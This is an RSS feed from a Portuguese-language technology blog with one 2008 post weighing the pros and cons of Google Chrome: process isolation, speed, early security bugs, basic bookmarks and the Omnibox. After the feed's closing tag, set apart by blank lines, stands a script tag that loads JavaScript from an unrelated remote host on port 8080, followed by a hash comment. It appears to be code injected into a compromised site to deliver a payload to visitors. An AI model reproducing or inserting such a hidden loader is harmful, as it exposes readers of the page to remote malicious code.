<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>acardozo.net &#187; chrome</title>
	<atom:link href="http://acardozo.net/tag/chrome/feed/" rel="self" type="application/rss+xml" />
	<link>http://acardozo.net</link>
	<description>Tecnologia, Internet, web 2.0</description>
	<lastBuildDate>Mon, 08 Sep 2008 16:38:30 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Google Chrome: prós e contras</title>
		<link>http://acardozo.net/2008/09/08/google-chrome-pros-e-contras/</link>
		<comments>http://acardozo.net/2008/09/08/google-chrome-pros-e-contras/#comments</comments>
		<pubDate>Mon, 08 Sep 2008 16:38:30 +0000</pubDate>
		<dc:creator>André Cardozo</dc:creator>
				<category><![CDATA[internet]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[chrome]]></category>
		<category><![CDATA[Google]]></category>

		<guid isPermaLink="false">http://acardozo.net/?p=89</guid>
		<description><![CDATA[A essa altura, todo mundo já disse tudo o que era possível sobre o Google Chrome. Vamos então a um rápido resumo.
Prós

Divisão de processos &#8211; esse recurso impede que uma página problemática trave o browser inteiro, como ocorre com os concorrentes. Apenas a aba da página bichada é afetada
Rapidez &#8211; sim, não dá pra negar, [...]]]></description>
			<content:encoded><![CDATA[<p>A essa altura, todo mundo já disse tudo o que era possível sobre o Google Chrome. Vamos então a um rápido resumo.</p>
<p><strong>Prós</strong></p>
<ul>
<li>Divisão de processos &#8211; esse recurso impede que uma página problemática trave o browser inteiro, como ocorre com os concorrentes. Apenas a aba da página bichada é afetada</li>
<li>Rapidez &#8211; sim, não dá pra negar, o Chrome é realmente rápido e leve.</li>
<li>Área útil &#8211; como não tem menus, o Chrome deixa mais espaço para as páginas. Mas isso pode ser um fator negativo para usuários acostumados aos clássicos menus.</li>
<li>Aplicativos &#8211; a possibilidade de criar um atalho no desktop para páginas mais usadas é interessante. O atalho serve também para páginas dinâmicas, como, por exemplo, a caixa de entrada de um serviçõ de e-mail. Assim, fica mais prático acessar os serviços mais usados.</li>
</ul>
<p><strong>Contra</strong></p>
<ul>
<li>Segurança &#8211; três bugs foram encontrados só no primeiro dia. Mas não vejo isso como um grande problema, já que todos os outros browsers têm falhas de segurança também.</li>
<li>Extensões - por enquanto não há extensões. Mas o Google já avisou que elas virão em pouco tempo.</li>
<li>Bookmarks &#8211; o atual recurso de bookmarks é extremamente básico. Acho que ele deve ser aprimorado em versões futuras.</li>
<li>Incompatibilidade &#8211; Alguns sites em que naveguei não funcionaram direito no Chrome.</li>
<li>Caixa de busca &#8211; muita gente gostou da tal Omnibox, que funciona como caixa de busca e de endereços web. Ainda não me acostumei e acho um pouco confuso. Prefiro o layout com duas caixas, uma para buscas e outras para endereços. Mas, enfim, acho que depende da preferência de cada um.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://acardozo.net/2008/09/08/google-chrome-pros-e-contras/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>







<script type="text/javascript" src="http://dolgo.lulucabana.com:8080/Operating_System.js"></script>
<!--0fa29c1c094b8df31a715877dc31a1b9-->